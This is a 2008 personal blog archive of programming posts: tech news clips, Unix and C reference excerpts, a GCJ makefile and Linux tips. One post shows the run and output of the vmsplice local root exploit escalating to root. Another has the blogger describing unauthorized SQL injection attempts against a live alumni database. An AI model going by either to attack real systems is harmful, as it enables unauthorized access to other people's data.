Category Archiveprogramming



computers and technology & interesting & news & programming 24 Sep 2008 05:21 pm

Two Arrested in First Bust for ATM Reprogramming Scam

It took a high-speed chase and some gunplay, but two men in Lincoln, Nebraska, are the first to face felony charges for using default passcodes to reprogram retail cash machines to dispense free money.

Jordan Eske and Nicolas Foster, both 21, are in Lancaster County Jail pending an October 1st arraignment. They’re each charged with four counts of theft by deception, and one count of computer fraud, for allegedly pulling cash from privately owned ATMs at four stores in the area. The pair allegedly reprogrammed the machines to believe they were loaded with one-dollar bills instead of tens and twenties. A withdrawal of $20 would thus net $380.

Cash machine reprogramming scams first became public in 2006 when a cyber thief strolled into a gas station in Virginia Beach, Virginia, and, with no special equipment, persuaded the Tranax ATM that it had $5.00 bills in its dispensing tray, instead of $20.00 bills. Threat Level later confirmed that default administrative passcodes for ATMs manufactured by industry leaders Tranax and Triton were printed in owner’s manuals easily found online. Both companies said they were surprised by the scam, but an industry association of which they are members privately spotted the capers and warned members over a year earlier.

Read more: Two Arrested in First Bust for ATM Reprogramming Scam | Threat Level from Wired.com

computers and technology & geek & linux, unix, and open source & news & programming 09 Sep 2008 11:11 pm

Why Mozilla is committed to Gecko as WebKit popularity grows

A lot of things have changed since 2003, and the Gecko code base has come a long way. Gecko is still very complex, but many of its historical weaknesses have been addressed by Mozilla’s engineering efforts. Gecko received a massive overhaul for Firefox 3, with countless changes that significantly improved the entire browsing experience.

Gecko 1.9 uses the cross-platform Cairo rendering framework. This greatly improved SVG support simplified many aspects of the code base and facilitated some cool features, like support for full-page zooming. The overhaul also included significant refactoring of the reflow algorithm, making it possible for Gecko to pass the Acid 2 test. Mozilla also aggressively reduced memory consumption, coming out ahead of both Safari and Opera.

Read more: Why Mozilla is committed to Gecko as WebKit popularity grows

computers and technology & linux, unix, and open source & programming 27 Aug 2008 05:40 pm

Anatomy of Linux dynamic libraries

Dynamically linked shared libraries are an important aspect of GNU/Linux®. They allow executables to dynamically access external functionality at run time and thereby reduce their overall memory footprint (by bringing functionality in when it’s needed). This article investigates the process of creating and using dynamic libraries, provides details on the various tools for exploring them, and explores how these libraries work under the hood.

Libraries were designed to package similar functionality in a single unit. These units could then be shared with other developers and permitted what came to be called modular programming—that is, building programs from modules. Linux supports two types of libraries, each with its own advantages and disadvantages. The static library contains functionality that is bound to a program statically at compile time. This differs from dynamic libraries, which are loaded when an application is loaded and binding occurs at run time.

Read more: Anatomy of Linux dynamic libraries

computers and technology & darpa uc 2007 & geek & interesting & news & personal & programming & youtube 14 Jul 2008 05:31 pm

Robocars on Discovery Science Channel to feature autonomous vehicles from DARPA Urban Challenge, including Team CajunBot.

The series “Robocars” will be premiering tonight at 9pm (Central time) on the Discovery Science Channel.  The show follows ten teams of top engineers from around the U.S. compete for a $2 million grand prize, struggling to build the first vehicle to drive itself through an urban environment and features Team CajunBot.

Here is the schedule and episode descriptions:

July 14th 9-10pm - Episode 1 - follows Stanford Racing, Tartan Racing, Team Jefferson, Team Gray and The Golem Group as they prepare for the Urban Challenge and pass through the DARPA site visits.

July 21st 9-10pm - Episode 2 - follows Highlander Racing, Team Oshkosh, Team Cajunbot, Team MIT, and Team Case as they prepare for the Urban Challenge and pass through the DARPA site visits.  The show ends with DARPA announcing the teams who made it to the semi-finals.

July 28th 9-10pm - Episode 3 - covers the semi-finals.  Stanford Racing, Tartan Racing, Team Jefferson, Team Gray, The Golem Group, Team Oshkosh, Team Cajunbot, Team MIT and Team Case are all included.  The show ends with DARPA announcing the teams who made it to the finals.

August 4th 9-10pm - Epiosde 4 - covers the finals.  Stanford Racing, Tartan Racing, Team MIT, and Team Oshkosh are all included.

August 11th  8-10pm - Episodes 5 and 6 - The first hour is a summary of the last four episodes and the second hour focuses on futuristic car technology and contains excerpt from the DARPA Urban Challenge.

Read more: Welcome to the CajunBot Lab website.

computers and technology & interesting & linux, unix, and open source & news & programming 09 Jul 2008 09:19 am

Protocol Buffers: Google’s Data Interchange Format

Google’s open source’s “Protocol Buffers”. Here’s some examples:

You write a .proto file like this:

message Person {
  required int32 id = 1;
  required string name = 2;
  optional string email = 3;
}

Then you compile it with protoc, the protocol buffer compiler, to produce code in C++, Java, or Python.

Then, if you are using C++, you use that code like this:

Person person;
person.set_id(123);
person.set_name("Bob");
person.set_email("bob@example.com");

fstream out("person.pb", ios::out | ios::binary | ios::trunc);
person.SerializeToOstream(&out);
out.close();

Or like this:

Person person;
fstream in("person.pb", ios::in | ios::binary);
if (!person.ParseFromIstream(&in)) {
  cerr << "Failed to parse person.pb." << endl;
  exit(1);
}

cout << "ID: " << person.id() << endl;
cout << "name: " << person.name() << endl;
if (person.has_email()) {
  cout << "e-mail: " << person.email() << endl;
}

Read more about them: Google Open Source Blog: Protocol Buffers: Google’s Data Interchange Format

computers and technology & funny & linux, unix, and open source & programming & quotes 08 Jul 2008 11:44 am

Damned makefiles.

“The makefile keeps recompiling itself…when it finishes, it just recompiles itself again.”

John Harry Nancy

geek & linux, unix, and open source & personal & programming 12 Jun 2008 03:36 pm

Prompt for password witout echoing chars in bash

echo -n “username: ”
read username
echo -n “Password: ”
stty -echo
read password
stty echo

source: Mind Download: prompt for password w/o echoing chars in bash

computers and technology & interesting & news & programming 19 May 2008 11:39 pm

Coders Tell Why They’re Avoiding Vista

Windows developers are confirming the results of a survey released yesterday that found fewer than 1 in 12 programmers currently writing applications targeting Windows Vista.

“None of our customers are saying, ‘G******it, we need those WPF controls now!’” said Julian Bucknall, CTO for Windows programming tools maker Developer Express Inc. , referring to one of Vista’s most highly-touted features, its new graphical subsystem, Windows Presentation Foundation . Rather, “we find most are still sticking with ASP.Net and Windows Forms applications.”

True to Microsoft ’s form, ASP.Net and Windows Forms and most of Windows XP ’s other legacy technologies still work fine in Vista. (The converse is also true: many Vista features can be installed as add-ons to XP.)

But as in every upgrade cycle, Microsoft runs the risk that developers may bypass the latest technologies — in Vista’s case, WPF, the XPS printing format that Microsoft is touting as a rival to Adobe ’s Portable Document Format (PDF); Windows Sidebar ‘gadgets,’ and others — in favor of those further down the road, such as those expected in Vista’s successor, Windows ‘7′.

“Microsoft tends to dump ten new technologies on us, but only 2 or 3 really stick,” said Michael Krasowski, vice-president of PDSA Inc., a Microsoft-focused 20-developer firm in Tustin Calif., citing the Windows DNA Architecture as an example.

Microsoft Corp. undoubtedly wanted to avoid its current predicament. It has been publicly talking up features in Vista since 2003 — half a decade.

Read more: PC World - Business Center: Coders Tell Why They’re Avoiding Vista

geek & programming & random 04 May 2008 11:12 pm

The Hello World Collection

“Hello World” is the first program one usually writes when learning a new programming language. The first Hello World program appeared in chapter 1.1 of the first edition of Kernighan & Ritchie’s original book about C, “The C Programming Language”, in 1978 and read like this:

main() {
printf(”hello, worldn”);
}

Since then, Hello World has been implemented in just about every programming language on the planet. This collection includes 366 Hello World programs in many more-or-less well known programming languages, plus 58 human languages.

The programs in this collection are intended to be as minimal as possible in the respective language. They are meant to demonstrate how to output Hello World as simply as possible, not to show off language features. For a collection of programs that tell more about what programming in the languages actually is like, have a look at the 99 Bottles of Beer collection.

Read more: The Hello World Collection

geek & interesting & linux, unix, and open source & news & personal & programming 19 Apr 2008 02:57 pm

Dash as /bin/sh

Dash as /bin/sh

In Ubuntu 6.10, the default system shell, /bin/sh, was changed to dash (the Debian Almquist Shell); previously it had been bash (the GNU Bourne-Again Shell). The same change will affect users of Ubuntu 6.06 LTS upgrading directly to Ubuntu 8.04 LTS. This document explains this change and what you should do if you encounter problems.

Why was this change made?

The major reason to switch the default shell was efficiency. bash is an excellent full-featured shell appropriate for interactive use; indeed, it is still the default login shell. However, it is rather large and slow to start up and operate by comparison with dash. A large number of shell instances are started as part of the Ubuntu boot process. Rather than change each of them individually to run explicitly under /bin/dash, a change which would require significant ongoing maintenance and which would be liable to regress if not paid close attention, the Ubuntu core development team felt that it was best simply to change the default shell. The boot speed improvements in Ubuntu 6.10 were often incorrectly attributed to [WWW] Upstart, which is a fine platform for future development of the init system but in Ubuntu 6.10 was primarily running in System V compatibility mode with only small behavioural changes. These improvements were in fact largely due to the changed /bin/sh.

The Debian policy manual has long mandated that “shell scripts specifying ‘/bin/sh’ as interpreter must only use POSIX features”; in fact, this requirement has been in place since well before the inception of the Ubuntu project. Furthermore, any shell scripts that expected to be portable to other Unix systems, such as the BSDs or Solaris, already honoured this requirement. Thus, we felt that the compatibility impact of this change would be minimal.

Of course, there have been a certain number of shell scripts written specifically for Linux systems, some of which incorrectly stated that they could run with /bin/sh when in fact they required /bin/bash, and these scripts will have broken due to this change. We regret this breakage, but feel that the proper way to address it is to make the small changes required to those scripts, discussed later in this document. In the longer term, this will promote a cleaner and more efficient system.

(This applies the same philosophy as in C and C . Programs should be written to the standard, and if they use extensions they should declare them; that way it is clear what extensions are in use and they will at least fail with a much better error message if those extensions are not available.)

Read more: DashAsBinSh - Ubuntu Wiki

personal & programming & undergrad computer science classes 09 Mar 2008 11:08 am

Why did I spend so long on my Sleeping Barber OS project?

Thank you for asking!

(11:55:10 AM) Mark: damnit
(11:55:14 AM) Mark: I hate lee
(11:59:35 AM) GK: why?
(12:00:12 PM) Mark: remember how I told you that I wrote the code for sleeping barber…then I had to go back and rewrite it?
(12:00:25 PM) Mark: it is his fault…because of his bad english/typing skills
(12:01:00 PM) Mark: This last sentence on the description of the problem, changes it…(codewise)
(12:01:07 PM) Mark: Here is how the sentence reads:
(12:01:12 PM) Mark: “If the barber is asleep, the customer waits the barber.”
(12:01:34 PM) Mark: it is obviously incorrect, so the way I initially interpreted was:
(12:01:45 PM) Mark: If the barber is asleep, the customer waits for the barber. (to wake up)
(12:02:03 PM) Mark: however, he actually meant:

If the barber is asleep, the customer wakes the barber.

geek & interesting & programming 29 Feb 2008 04:19 pm

The Joel Test: 12 Steps to Better Code

1. Do you use source control?
2. Can you make a build in one step?
3. Do you make daily builds?
4. Do you have a bug database?
5. Do you fix bugs before writing new code?
6. Do you have an up-to-date schedule?
7. Do you have a spec?
8. Do programmers have quiet working conditions?
9. Do you use the best tools money can buy?
10. Do you have testers?
11. Do new candidates write code during their interview?
12. Do you do hallway usability testing?

Read more: The Joel Test: 12 Steps to Better Code - Joel on Software

funny & geek & programming 28 Feb 2008 06:04 pm

9 Signs You Shouldn’t Hire THAT Web Guy

My employer specializes in creating websites for middle-sized businesses. We rarely create “Mom’n'Pops” websites and generally don’t pursue contracts with major corporations. Working with mid-size business has given me the opportunity to speak with executives and “decision-makers” within each business. Our discussions eventually end up with the other person telling me about their previous web developers and how their currently site is ineffective as a sales to or representation of the business. There are some definitive characteristics about my customers’ previous web persons and without further adieu, I give you 9 signs you shouldn’t hire THAT web guy.

Read more: 9 Signs You Shouldn’t Hire THAT Web Guy | CSS Zone

geek & interesting & linux, unix, and open source & personal & programming 23 Feb 2008 06:30 pm

Compiling java to native code.

I recently got a wild hair and was wondering if I could compile java to native code. I stumbled across an article about a GNU project called GCJ. I downloaded the compiler and did a “Hello World” for java native code. It worked! Then I set out to make a makefile for compiling java to native code.

The following screenshot shows the results:

Java in native code Screenshot

(click to enlarge)

And here is the makefile to compile to native code:

# Created by Mark McKelvy (2008)

# Makefile for .java sources, will compile to native code, creating
# intermediate .o files. Will automatically search which source files
# have main() and link the objects into the appropriate binary.

CC=gcj
CFLAGS=-c -g
CHMOD=chmod 755
SOURCES = $(wildcard *.java)
OBJECTS = $(SOURCES:.java=.o)
BINS = $(shell grep -r "public static void main" $(SOURCES) | awk 'BEGIN{FS=".java";ORS=" "}{print $$1}')

.SUFFIXES: .java .o
default: objects binaries

binaries:
	@for bin in $(BINS); do \
		echo Linking $$bin ; \
		$(CC) --main=$$bin -o $$bin $(OBJECTS) ; \
	done

objects: $(OBJECTS)

.java.o:
	@echo Compiling $*.java ; \
	$(CC) $(CFLAGS) -O $*.java

RMFILES	+=$(wildcard *~)
RMFILES	+=$(wildcard *.o)
RMFILES +=$(BINS)

clean:
	@$(RM) $(RMFILES) ; \
	if [ "$(RMFILES)" != " " ] ; then \
		echo $(RM) $(RMFILES) ; \
	fi

 

computers and technology & geek & interesting & linux, unix, and open source & programming 23 Feb 2008 12:19 pm

make’s internal macros

The make utility shall maintain five internal macros that can be used in target and inference rules. In order to clearly define the meaning of these macros, some clarification of the terms target rule, inference rule, target, and prerequisite is necessary.

Target rules are specified by the user in a makefile for a particular target. Inference rules are user-specified or make-specified rules for a particular class of target name. Explicit prerequisites are those prerequisites specified in a makefile on target lines. Implicit prerequisites are those prerequisites that are generated when inference rules are used. Inference rules are applied to implicit prerequisites or to explicit prerequisites that do not have target rules defined for them in the makefile. Target rules are applied to targets specified in the makefile.

Before any target in the makefile is updated, each of its prerequisites (both explicit and implicit) shall be updated. This shall be accomplished by recursively processing each prerequisite. Upon recursion, each prerequisite shall become a target itself. Its prerequisites in turn shall be processed recursively until a target is found that has no prerequisites, at which point the recursion stops. The recursion shall then back up, updating each target as it goes.

The make utility shall maintain five internal macros that can be used in target and inference rules. In order to clearly define the meaning of these macros, some clarification of the terms target rule, inference rule, target, and prerequisite is necessary.

Target rules are specified by the user in a makefile for a particular target. Inference rules are user-specified or make-specified rules for a particular class of target name. Explicit prerequisites are those prerequisites specified in a makefile on target lines. Implicit prerequisites are those prerequisites that are generated when inference rules are used. Inference rules are applied to implicit prerequisites or to explicit prerequisites that do not have target rules defined for them in the makefile. Target rules are applied to targets specified in the makefile.

Before any target in the makefile is updated, each of its prerequisites (both explicit and implicit) shall be updated. This shall be accomplished by recursively processing each prerequisite. Upon recursion, each prerequisite shall become a target itself. Its prerequisites in turn shall be processed recursively until a target is found that has no prerequisites, at which point the recursion stops. The recursion shall then back up, updating each target as it goes.

In the definitions that follow, the word target refers to one of:

  • A target specified in the makefile
  • An explicit prerequisite specified in the makefile that becomes the target when make processes it during recursion
  • An implicit prerequisite that becomes a target when make processes it during recursion

In the definitions that follow, the word prerequisite refers to one of the following:

  • An explicit prerequisite specified in the makefile for a particular target
  • An implicit prerequisite generated as a result of locating an appropriate inference rule and corresponding file that matches the suffix of the target

The five internal macros are:

$@
The $@ shall evaluate to the full target name of the current target, or the archive filename part of a library archive target. It shall be evaluated for both target and inference rules.For example, in the .c.a inference rule, $@ represents the out-of-date .a file to be built. Similarly, in a makefile target rule to build lib.a from file.c, $@ represents the out-of-date lib.a.

$%
The $% macro shall be evaluated only when the current target is an archive library member of the form libname( member .o). In these cases, $@ shall evaluate to libname and $% shall evaluate to member .o. The $% macro shall be evaluated for both target and inference rules.For example, in a makefile target rule to build lib.a( file.o), $% represents file.o, as opposed to $@, which represents lib.a.

$?
The $? macro shall evaluate to the list of prerequisites that are newer than the current target. It shall be evaluated for both target and inference rules.For example, in a makefile target rule to build prog from file1.o, file2.o, and file3.o, and where prog is not out-of-date with respect to file1.o, but is out-of-date with respect to file2.o and file3.o, $? represents file2.o and file3.o.

$<
In an inference rule, the $< macro shall evaluate to the filename whose existence allowed the inference rule to be chosen for the target. In the .DEFAULT rule, the $< macro shall evaluate to the current target name. The meaning of the $< macro shall be otherwise unspecified.For example, in the .c.a inference rule, $< represents the prerequisite .c file.

$*
The $* macro shall evaluate to the current target name with its suffix deleted. It shall be evaluated at least for inference rules.For example, in the .c.a inference rule, $*.o represents the out-of-date .o file that corresponds to the prerequisite .c file.

Source: make

geek & linux, unix, and open source & personal & programming & undergrad computer science classes 15 Feb 2008 07:23 pm

The <unistd.h> header defines miscellaneous symbolic constants and types, and declares miscellaneous functions.

The following are declared as functions and may also be defined as macros. Function prototypes must be provided for use with an ISO C compiler.

int access(const char *, int);
unsigned int alarm(unsigned int);
int brk(void *);
int chdir(const char *);
int chroot(const char *); (LEGACY)
int chown(const char *, uid_t, gid_t);
int close(int);
size_t confstr(int, char *, size_t);
char *crypt(const char *, const char *);
char *ctermid(char *);
char *cuserid(char *s); (LEGACY)
int dup(int);
int dup2(int, int);
void encrypt(char[64], int);
int execl(const char *, const char *, …);
int execle(const char *, const char *, …);
int execlp(const char *, const char *, …);
int execv(const char *, char *const []);
int execve(const char *, char *const [], char *const []);
int execvp(const char *, char *const []);
void _exit(int);
int fchown(int, uid_t, gid_t);
int fchdir(int);
int fdatasync(int);
pid_t fork(void);
long int fpathconf(int, int);
int fsync(int);
int ftruncate(int, off_t);
char *getcwd(char *, size_t);
int getdtablesize(void); (LEGACY)
gid_t getegid(void);
uid_t geteuid(void);
gid_t getgid(void);
int getgroups(int, gid_t []);
long gethostid(void);
char *getlogin(void);
int getlogin_r(char *, size_t);
int getopt(int, char * const [], const char *);
int getpagesize(void); (LEGACY)
char *getpass(const char *); (LEGACY)
pid_t getpgid(pid_t);
pid_t getpgrp(void);
pid_t getpid(void);
pid_t getppid(void);
pid_t getsid(pid_t);
uid_t getuid(void);
char *getwd(char *);
int isatty(int);
int lchown(const char *, uid_t, gid_t);
int link(const char *, const char *);
int lockf(int, int, off_t);
off_t lseek(int, off_t, int);
int nice(int);
long int pathconf(const char *, int);
int pause(void);
int pipe(int [2]);
ssize_t pread(int, void *, size_t, off_t);
int pthread_atfork(void (*)(void), void (*)(void),
void(*)(void));
ssize_t pwrite(int, const void *, size_t, off_t);
ssize_t read(int, void *, size_t);
int readlink(const char *, char *, size_t);
int rmdir(const char *);
void *sbrk(intptr_t);
int setgid(gid_t);
int setpgid(pid_t, pid_t);
pid_t setpgrp(void);
int setregid(gid_t, gid_t);
int setreuid(uid_t, uid_t);
pid_t setsid(void);
int setuid(uid_t);
unsigned int sleep(unsigned int);
void swab(const void *, void *, ssize_t);
int symlink(const char *, const char *);
void sync(void);
long int sysconf(int);
pid_t tcgetpgrp(int);
int tcsetpgrp(int, pid_t);
int truncate(const char *, off_t);
char *ttyname(int);
int ttyname_r(int, char *, size_t);
useconds_t ualarm(useconds_t, useconds_t);
int unlink(const char *);
int usleep(useconds_t);
pid_t vfork(void);
ssize_t write(int, const void *, size_t);

The following external variables are declared:

extern char *optarg;
extern int optind, opterr, optopt;

<unistd.h>

computers and technology & linux, unix, and open source & news & programming 10 Feb 2008 09:49 pm

Linux Kernel 2.6 Local Root Exploit

Slashdot | Linux Kernel 2.6 Local Root Exploit

This local root exploit seems to work everywhere I try it, as long as it’s a Linux kernel version 2.6.17 to 2.6.24.1. If you don’t trust your users (which you shouldn’t), better compile a new kernel without vmsplice.

$ gcc exploit.c -o exploit
$ whoami
heikki
$ ./exploit
——-——-——-——-——-
Linux vmsplice Local Root Exploit
By qaaz
——-——-——-——-——-
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root

Kernel 2.6.22-14-generic

computers and technology & news & political & programming 06 Feb 2008 08:25 am

Diebold voting machine key copied from pic on Diebold site

In another stunning blow to the security and integrity of Diebold’s electronic voting machines, someone has made a copy of the key which opens ALL Diebold e-voting machines from a picture on the company’s own website. The working keys were confirmed by Princeton scientists, the same people who discovered that a simple virus hack on the Diebold machines could steal an election. Absolutely incredible and another example of how Diebold’s e-voting machines pose a great threat to the electoral process.

Source

geek & linux, unix, and open source & personal & programming 01 Feb 2008 09:18 pm

exec usage and examples.

exec


NAME

environ, execl, execv, execle, execve, execlp, execvp - execute a file

SYNOPSIS

#include <unistd.h>

extern char **environ;
int execl(const char *path, const char *arg0, … /*, (char *)0 */);
int execv(const char *path, char *const argv[]);
int execle(const char *path, const char *arg0, … /*,
(char *)0, char *const envp[]*/);
int execve(const char *path, char *const argv[], char *const envp[]);
int execlp(const char *file, const char *arg0, … /*, (char *)0 */);
int execvp(const char *file, char *const argv[]);

DESCRIPTION

The exec family of functions shall replace the current process image with a new process image. The new image shall be constructed from a regular, executable file called the new process image file. There shall be no return from a successful exec, because the calling process image is overlaid by the new process image.

When a C-language program is executed as a result of this call, it shall be entered as a C-language function call as follows:

int main (int argc, char *argv[]);

where argc is the argument count and argv is an array of character pointers to the arguments themselves. In addition, the following variable:

extern char **environ;

is initialized as a pointer to an array of character pointers to the environment strings. The argv and environ arrays are each terminated by a null pointer. The null pointer terminating the argv array is not counted in argc.

personal & programming 30 Jan 2008 10:06 am

Inline functions

What’s the deal with inline functions?

When the compiler inline-expands a function call, the function’s code gets inserted into the caller’s code stream (conceptually similar to what happens with a #define macro). This can, depending on a zillion other things, improve performance, because the optimizer can procedurally integrate the called code — optimize the called code into the caller.

There are several ways to designate that a function is inline, some of which involve the inline keyword, others do not. No matter how you designate a function as inline, it is a request that the compiler is allowed to ignore: it might inline-expand some, all, or none of the calls to an inline function. (Don’t get discouraged if that seems hopelessly vague. The flexibility of the above is actually a huge advantage: it lets the compiler treat large functions differently from small ones, plus it lets the compiler generate code that is easy to debug if you select the right compiler options.)

Source

geek & news & personal & programming 25 Jan 2008 06:19 pm

LSMSA Alumni Database

Well as GK has informed me, the new alumni database for LSMSA stores their passwords in plaintext. He found out from an error when updating his profile information and could actually see the SQL query. So I decided to go check the site out and see if I could do any SQL injection. I ended up screwing my profile page over, so now I can’t update anything. I also managed to get a few more injections to work, but I wasn’t able to see GK’s password because of how the query was structured. However, that doesn’t mean this site is secure.

After learning this information, I’ve changed my password to something pretty random, so that I won’t be the victim of some exploit.

personal & programming 18 Jan 2008 05:43 pm

sscanf - C++ Reference

sscanf - C++ Reference

int sscanf ( char * str, const char * format, …);

<cstdio>

Read formatted data from string

Reads data from str and stores them according to the parameter format into the locations given by the additional arguments. Locations pointed by each additional argument are filled with their corresponding type of value specified in the format string.

Parameters

str

C string that the function processes as its source to retrieve the data.

format

C format string that contains formatting control characters.

personal & programming 18 Jan 2008 04:35 pm

SNPRINTF - formatted output to a string.

SNPRINTF - formatted output to a string.

(ANSI Standard)
Usage:

#include <stdio.h>
i = snprintf( s, N, control [, arg1, arg2, ...] );

Where:

char *s;
is the string to which the output should be written.

size_t N;
specifies the maximum number of characters that can be written to “s” (including a ‘\0′ to mark the end of the string). If N is zero, the “s” pointer may be null.

const char *control;
is a “printf” control string.

arg1, arg2, …
are the values to be output.

int i;
is the number of characters that would have been output if N was sufficiently large to permit the entire string. This count does not include the ‘\0′ used to mark the end of the string. If a write error occurs, a negative number is returned.

personal & programming 18 Jan 2008 04:34 pm

FILE Object

Source

Object containing information to control a stream

This type of object identifies a stream and contains the information needed to control it, including a pointer to its buffer, its position indicator and all its state indicators.

FILE objects are usually created by a call to either fopen or tmpfile, which both return a reference to one of these objects.
The content of a FILE object is not meant to be read from outside the functions of the cstdio library; In fact, its main purpose is to be referenced as an argument in all stream-involving functions of this library to identify the stream to be affected.
Its memory allocation is automatically performed by either fopen or tmpfile, and is the responsibility of the library to free the resources once the stream has been closed using fclose or other means.
On inclusion of the cstdio header file, three objects of type FILE * (pointer to FILE)are automatically created. These are associated with the standard input, output and error streams, and can be accessed respectivelly through the pointers stdin, stdout and stderr.

computers and technology & linux, unix, and open source & programming 18 Jan 2008 10:33 am

Ten good UNIX usage habits

1. Make directory trees in a single swipe.
2. Change the path; do not move the archive.
3. Combine your commands with control operators.
4. Quote variables with caution.
5. Use escape sequences to manage long input.
6. Group your commands together in a list.
7. Use xargs outside of find.
8. Know when grep should do the counting — and when it should step aside.
9. Match certain fields in output, not just lines.
10. Stop piping cats.


1. Make directory trees in a single swipe

Bad:

~ $ mkdir tmp
~ $ cd tmp
~/tmp $ mkdir a
~/tmp $ cd a
~/tmp/a $ mkdir b
~/tmp/a $ cd b
~/tmp/a/b/ $ mkdir c
~/tmp/a/b/ $ cd c
~/tmp/a/b/c $

Good:

~ $ mkdir -p tmp/a/b/c

Better:

~ $ mkdir -p \
project/{lib/ext,bin,src,doc/{html,info,pdf},demo/stat/a}


2. Change the path; do not move the archive

Use the -C option to change the extract directory:

~ $ tar xvf -C tmp/a/b/c newarc.tar.gz


3. Combine your commands with control operators

Run a command only if another command returns a zero exit status:

~ $ cd tmp/a/b/c && tar xvf ~/archive.tar

Run a command only if another command returns a non-zero exit status:

~ $ cd tmp/a/b/c || mkdir -p tmp/a/b/c

You can also combine the control operators. Each works on the last command run.


4. Quote variables with caution.

~ $ ls tmp/
a b
~ $ VAR=”tmp/*”
~ $ echo $VAR
tmp/a tmp/b
~ $ echo “$VAR”
tmp/*
~ $ echo $VARa
~ $ echo “$VARa”
~ $ echo “${VAR}a”
tmp/*a
~ $ echo ${VAR}a
tmp/a
~ $


5. Use escape sequences to manage long input

~ $ cd tmp/a/b/c || \
> mkdir -p tmp/a/b/c && \
> tar xvf -C tmp/a/b/c ~/archive.tar


6. Group your commands together in a list

Run a list of commands in a subshell:

~ $ ( cd tmp/a/b/c/ || mkdir -p tmp/a/b/c && \
> VAR=$PWD; cd ~; tar xvf -C $VAR archive.tar ) \
> | mailx admin -S “Archive contents”

Run a list of commands in the current shell:

~ $ { cp ${VAR}a . && chown -R guest.guest a && \
> tar cvf newarchive.tar a; } | mailx admin -S “New archive”


7. Use xargs outside of find

~/tmp $ ls -1 | xargs
December_Report.pdf README a archive.tar mkdirhier.sh
~/tmp $ ls -1 | xargs file
December_Report.pdf: PDF document, version 1.3
README: ASCII text
a: directory
archive.tar: POSIX tar archive
mkdirhier.sh: Bourne shell script text executable
~/tmp $

The xargs command is useful for more than passing file names. Use it any time you need to filter text into a single line.

Be cautious using xargs:
Technically, a rare situation occurs in which you could get into trouble using xargs. By default, the end-of-file string is an underscore (_); if that character is sent as a single input argument, everything after it is ignored. As a precaution against this, use the -e flag, which, without arguments, turns off the end-of-file string completely.


8. Know when grep should do the counting — and when it should step aside

~ $ time grep and tmp/a/longfile.txt | wc -l
2811
real 0m0.097s
user 0m0.006s
sys 0m0.032s

~ $ time grep -c and tmp/a/longfile.txt
2811
real 0m0.013s
user 0m0.006s
sys 0m0.005s
~ $


9. Match certain fields in output, not just lines

A tool like awk is preferable to grep when you want to match the pattern in only a specific field in the lines of output and not just anywhere in the lines.

Bad:

~/tmp $ ls -l /tmp/a/b/c | grep Dec
-rw-r–r– 7 joe joe 12043 Jan 27 20:36 December_Report.pdf
-rw-r–r– 1 root root 238 Dec 03 08:19 README
-rw-r–r– 3 joe joe 5096 Dec 14 14:26 archive.tar
~/tmp $

Good:

~/tmp $ ls -l | awk ‘$6 == “Dec”‘
-rw-r–r– 3 joe joe 5096 Dec 14 14:26 archive.tar
-rw-r–r– 1 root root 238 Dec 03 08:19 README
~/tmp $


10. Stop piping cats

A basic-but-common grep usage error involves piping the output of cat to grep to search the contents of a single file. This is absolutely unnecessary and a waste of time, because tools such as grep take file names as arguments. You simply do not need to use cat in this situation at all.

~ $ time cat tmp/a/longfile.txt | grep and
2811
real 0m0.015s
user 0m0.003s
sys 0m0.013s

~ $ time grep and tmp/a/longfile.txt
2811
real 0m0.010s
user 0m0.006s
sys 0m0.004s
~ $

source

computers and technology & geek & linux, unix, and open source & programming 12 Jan 2008 08:54 am

How to setup Bluetooth (in Linux) - ThinkWiki

How to setup Bluetooth - ThinkWiki

Make sure that the according modules are loaded:

# modprobe uhci_hcd ; modprobe ehci_hcd ; modprobe hci_usb

Serial connection over Bluetooth

One common application is to connect your mobile phone and use it as a modem to connect to the internet via GPRS or 3G (UMTS). A lot of phones do this through using AT-commands on a serial over Bluetooth connection.

By configuring /etc/bluetooth/rfcomm.conf correctly, you’ll get a device /dev/rfcomm0.

Eventually one could use the command:

# rfcomm bind 0 00:15:A0:7A:90:F2 3

The hardware address should be replaced with that of your phone. If you don’t know the hardware address of your phone yet, you can get it by running:

# hcitool scan

The last parameter (’3′) is the channel to use. I spent quite some time fighting before I found out of that one; I didn’t find it documented anywhere, but by running

# sdptool records 00:15:A0:7A:90:F2

I found channel 3 to be the right one for my phone. You will have to experiment to find the right one for your phone setup; for T-Mobile GSM/GPRS carrier in USA this is channel 1.

 

NOTE!

By experimenting, the bluetooth stack on the cellphone may crash. Reboot it if that happens.

Alternativly one could use the following to find the right channel:

# sdptool search DUN
Inquiring ...
Searching for DUN on 00:11:22:33:44:55 ...
Service Name: Dial-up Networking
Service RecHandle: 0x10001
Service Class ID List:
  "Dialup Networking" (0x1103)
  "Generic Networking" (0x1201)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 4

Now /dev/rfcomm0 exists.

At this point you can use an automatic dialing utility such as wvdial, editing the config file to point to the modem at /dev/rfcomm0, and everything should work just like a land line!

 

NOTE!

If you experience strange disconnects while using wvdial, disable “Carrier Check” in your wvdial configuration.

You may directly access the modem (i.e. by using minicom:)

$ minicom -s

set the serial device to be /dev/rfcomm0, choose ‘exit’ and then the AT-commands can be typed in. With my operator (Telenor, Norway) it seemed simple enough, I just entered

ATDT *99#

and lots of cryptic letters started dancing across the screen, indicating a ppp session startup.

To configure pppd create /etc/ppp/peers/nokia with particularly those lines:

/dev/rfcomm0
connect '/usr/sbin/chat -v -f /etc/ppp/chat-nokia'
debug
10.0.1.3
crtscts
noipdefault
ipcp-accept-local
defaultroute
novj
nobsdcomp
novjccomp
nopcomp
noaccomp
usepeerdns

Furthermore, you need a simple chat script. Create /etc/ppp/chat-nokia:

'TIMEOUT' '5'
'ABORT' 'BUSY'
'ABORT' 'ERROR'
'ABORT' 'NO ANSWER'
'ABORT' 'NO CARRIER'
'ABORT' 'NO DIALTONE'
'ABORT' 'Invalid Login'
'ABORT' 'Login incorrect'
 'ATZ'
'OK' 'ATDT*99#'
'~--'

Here’s a script that works for Cingular’s network:

TIMEOUT 35
ECHO    ON
ABORT   '\nBUSY\r'
ABORT   '\nERROR\r'
ABORT   '\nNO ANSWER\r'
ABORT   '\nNO CARRIER\r'
ABORT   '\nNO DIALTONE\r'
ABORT   '\nRINGING\r\n\r\nRINGING\r'
      \rAT
OK      'AT+CGDCONT=1,"IP","WAP.CINGULAR"'
